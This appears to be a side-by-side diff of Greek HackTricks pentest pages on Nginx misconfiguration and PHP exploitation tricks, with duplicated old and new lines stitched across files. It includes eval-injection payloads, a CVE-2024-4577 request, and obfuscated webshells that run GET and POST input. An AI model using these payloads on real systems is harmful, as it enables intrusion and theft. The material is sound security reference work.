Η DNS spoofing κατά του Nginx είναι εφικτή υπό ορισμένες συνθήκες. Εάν ένας επιτιθέμενος γνωρίζει τον **DNS server** που χρησιμοποιεί ο Nginx και μπορεί να παρεμποδίσει τα DNS queries του, μπορεί να παραποιήσει τα DNS records. Αυτή η μέθοδος, ωστόσο, είναι αναποτελεσματική εάν ο Nginx είναι ρυθμισμένος να χρησιμοποιεί **localhost (127.0.0.1)** για την επίλυση DNS. Ο Nginx επιτρέπει την καθορισμένη ρύθμιση ενός DNS server ως εξής: Η DNS spoofing κατά του Nginx είναι εφικτή υπό ορισμένες συνθήκες. Εάν ένας επιτιθέμενος γνωρίζει τον **DNS server** που χρησιμοποιεί ο Nginx και μπορεί να παρεμποδίσει τα DNS ερωτήματα του, μπορεί να παραποιήσει τα DNS records. Αυτή η μέθοδος, ωστόσο, είναι αναποτελεσματική εάν ο Nginx είναι ρυθμισμένος να χρησιμοποιεί **localhost (127.0.0.1)** για την επίλυση DNS. Ο Nginx επιτρέπει την καθορισμένη ρύθμιση ενός DNS server ως εξής:
```yaml ```yaml
resolver 8.8.8.8; resolver 8.8.8.8;
``` ```
@ -259,7 +261,7 @@ deny all;
} }
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Σημειώστε ότι ακόμη και αν το `proxy_pass` δείχνει σε μια συγκεκριμένη **διαδρομή** όπως `http://backend:9999/socket.io`, η σύνδεση θα γίνει με το `http://backend:9999`, οπότε μπορείτε να **επικοινωνήσετε με οποιαδήποτε άλλη διαδρομή μέσα σε αυτό το εσωτερικό σημείο. Έτσι, δεν έχει σημασία αν μια διαδρομή καθορίζεται στη διεύθυνση URL του proxy_pass.** Σημειώστε ότι ακόμη και αν το `proxy_pass` δείχνει σε μια συγκεκριμένη **διαδρομή** όπως `http://backend:9999/socket.io`, η σύνδεση θα γίνει με το `http://backend:9999`, οπότε μπορείτε να **επικοινωνήσετε με οποιαδήποτε άλλη διαδρομή μέσα σε αυτό το εσωτερικό endpoint. Έτσι, δεν έχει σημασία αν μια διαδρομή καθορίζεται στο URL του proxy_pass.**
{% endhint %} {% endhint %}
## Δοκιμάστε το μόνοι σας ## Δοκιμάστε το μόνοι σας
@ -286,7 +288,9 @@ deny all;
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -296,7 +300,7 @@ deny all;
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,11 +15,15 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} #### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
## Κοινή τοποθεσία Cookies: **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Κοινή τοποθεσία cookies:
Αυτό ισχύει επίσης για τα cookies του phpMyAdmin. Αυτό ισχύει επίσης για τα cookies του phpMyAdmin.
@ -37,7 +41,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
``` ```
## Παράκαμψη συγκρίσεων PHP ## Παράκαμψη συγκρίσεων PHP
### Χαλαρές συγκρίσεις/Εναλλαγή τύπων ( == ) ### Χαλαρές συγκρίσεις/Τύπος Juggling ( == )
Αν χρησιμοποιηθεί το `==` στο PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`. Αν χρησιμοποιηθεί το `==` στο PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
@ -58,7 +62,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### **in\_array()** ### **in\_array()**
**Εναλλαγή τύπων** επηρεάζει επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε το τρίτο επιχείρημα σε true για να κάνετε αυστηρή σύγκριση): **Τύπος Juggling** επηρεάζει επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε αυστηρή σύγκριση):
```php ```php
$values = array("apple","orange","pear","grape"); $values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values)); var_dump(in_array(0, $values));
@ -79,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### Αυστηρός χειρισμός τύπων ### Αυστηρός χειρισμός τύπων
Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **χειρισμό τύπων**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**: Ακόμα και αν `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **χειρισμό τύπων**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
```php ```php
(int) "1abc" === (int) "1xyz" //This will be true (int) "1abc" === (int) "1xyz" //This will be true
``` ```
@ -89,7 +93,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
#### Παράκαμψη νέας γραμμής #### Παράκαμψη νέας γραμμής
Ωστόσο, όταν καθορίζεται η αρχή του regexp `preg_match()` **ελέγχει μόνο την πρώτη γραμμή της εισόδου του χρήστη**, τότε αν με κάποιο τρόπο μπορείτε να **στείλετε** την είσοδο σε **πολλές γραμμές**, θα μπορούσατε να παρακάμψετε αυτόν τον έλεγχο. Παράδειγμα: Ωστόσο, όταν καθορίζεται η αρχή της regexp `preg_match()` **ελέγχει μόνο την πρώτη γραμμή της εισόδου του χρήστη**, τότε αν με κάποιο τρόπο μπορείτε να **στείλετε** την είσοδο σε **πολλές γραμμές**, θα μπορούσατε να παρακάμψετε αυτόν τον έλεγχο. Παράδειγμα:
```php ```php
$myinput="aaaaaaa $myinput="aaaaaaa
11111111"; //Notice the new line 11111111"; //Notice the new line
@ -128,7 +132,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβα. Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβα.
[Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\ [Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100\_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**. **Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100\_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστέψει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1\_000\_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1\_000\_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω): Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
@ -148,7 +152,7 @@ $obfs += ""; //int 7
``` ```
## Execute After Redirect (EAR) ## Execute After Redirect (EAR)
Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία **`die`** ή **`exit`** συνάρτηση δεν καλείται μετά την κεφαλίδα `Location`, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα: Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία **`die`** ή **`exit`** συνάρτηση δεν είναι **καλεσμένη μετά την κεφαλίδα `Location`**, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα:
```php ```php
<?php <?php
// In this page the page will be read and the content appended to the body of // In this page the page will be read and the content appended to the body of
@ -168,7 +172,7 @@ Check:
## More tricks ## More tricks
* **register\_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακοδιαμορφωμένο, **register\_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές** που χρησιμοποιούνται μέσα στον κώδικα. * **register\_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακορυθμισμένο, **register\_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές** που χρησιμοποιούνται μέσα στον κώδικα.
* Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\ * Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2). Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
* Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι. * Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
@ -225,7 +229,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
preg_replace(pattern,replace,base) preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever") preg_replace("/a/e","phpinfo()","whatever")
``` ```
Για να εκτελεστεί ο κώδικας στο επιχείρημα "replace" απαιτείται τουλάχιστον μία αντιστοίχιση.\ Για να εκτελέσετε τον κώδικα στο επιχείρημα "replace" απαιτείται τουλάχιστον μία αντιστοίχιση.\
Αυτή η επιλογή του preg\_replace έχει **καταργηθεί από την PHP 5.5.0.** Αυτή η επιλογή του preg\_replace έχει **καταργηθεί από την PHP 5.5.0.**
### **RCE μέσω Eval()** ### **RCE μέσω Eval()**
@ -243,7 +247,7 @@ preg_replace("/a/e","phpinfo()","whatever")
``` ```
?page=a','NeVeR') === false and system('ls') and strpos('a ?page=a','NeVeR') === false and system('ls') and strpos('a
``` ```
Θα χρειαστεί να **σπάσετε** τη **σύνταξη** του κώδικα, **να προσθέσετε** το **payload** σας και στη συνέχεια **να το διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε **λογικές λειτουργίες** όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι "or", "||" δεν λειτουργεί γιατί αν η πρώτη συνθήκη είναι αληθής, το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί. Θα χρειαστεί να **σπάσετε** τη **σύνταξη** του κώδικα, **να προσθέσετε** το **payload** σας και στη συνέχεια **να το διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε **λογικές λειτουργίες** όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι "or", "||" δεν λειτουργούν γιατί αν η πρώτη συνθήκη είναι αληθής, το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί.
**Άλλη επιλογή** είναι να προσθέσετε στη συμβολοσειρά την εκτέλεση της εντολής: `'.highlight_file('.passwd').'` **Άλλη επιλογή** είναι να προσθέσετε στη συμβολοσειρά την εκτέλεση της εντολής: `'.highlight_file('.passwd').'`
@ -272,7 +276,7 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp"); usort();}phpinfo;#, "cmp");
}?> }?>
``` ```
You can also use **//** για να σχολιάσετε το υπόλοιπο του κώδικα. Μπορείτε επίσης να χρησιμοποιήσετε **//** για να σχολιάσετε το υπόλοιπο του κώδικα.
Για να ανακαλύψετε τον αριθμό των παρενθέσεων που πρέπει να κλείσετε: Για να ανακαλύψετε τον αριθμό των παρενθέσεων που πρέπει να κλείσετε:
@ -284,7 +288,7 @@ You can also use **//** για να σχολιάσετε το υπόλοιπο
Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**). Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells) Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
### RCE μέσω Env Variables ### RCE μέσω Env Variables
@ -293,7 +297,7 @@ You can also use **//** για να σχολιάσετε το υπόλοιπο
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει). * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
* **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα. * **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας 1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2. 3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
* Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). * Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - άλλη επιλογή * **PHPRC** - άλλη επιλογή
@ -309,7 +313,7 @@ You can also use **//** για να σχολιάσετε το υπόλοιπο
```jsx ```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input -d allow_url_include=1 -d auto_prepend_file=php://input
``` ```
Επιπλέον, είναι δυνατόν να εισαχθεί η παράμετρος "-" χρησιμοποιώντας τον χαρακτήρα 0xAD λόγω της μεταγενέστερης κανονικοποίησης του PHP. Ελέγξτε το παράδειγμα εκμετάλλευσης από [**αυτήν την ανάρτηση**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): Επιπλέον, είναι δυνατόν να εισαχθεί η παράμετρος "-" χρησιμοποιώντας τον χαρακτήρα 0xAD λόγω της μεταγενέστερης κανονικοποίησης του PHP. Ελέγξτε το παράδειγμα εκμετάλλευσης από [**αυτή την ανάρτηση**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx ```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}} Host: {{host}}
@ -331,7 +335,7 @@ phpinfo();
```php ```php
(1)->{system($_GET[chr(97)])} (1)->{system($_GET[chr(97)])}
``` ```
## PHP Στατική ανάλυση ## PHP Static analysis
Κοίτα αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από [εδώ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)): Κοίτα αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από [εδώ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php ```php
@ -390,7 +394,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
``` ```
### XOR easy shell code ### XOR easy shell code
Σύμφωνα με [**αυτή την αναφορά** ](https://mgp25.com/ctf/Web-challenge/)είναι δυνατόν να παραχθεί ένας εύκολος shellcode με αυτόν τον τρόπο: Σύμφωνα με [**αυτή την αναφορά** ](https://mgp25.com/ctf/Web-challenge/) είναι δυνατόν να παραχθεί ένα εύκολο shellcode με αυτόν τον τρόπο:
```php ```php
$_="`{{{"^"?<>/"; // $_ = '_GET'; $_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -464,9 +468,13 @@ $____.=$__;
$_=$$____; $_=$$____;
$___($_[_]); // ASSERT($_POST[_]); $___($_[_]); // ASSERT($_POST[_]);
``` ```
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} #### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -474,7 +482,7 @@ $___($_[_]); // ASSERT($_POST[_]);
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -17,13 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
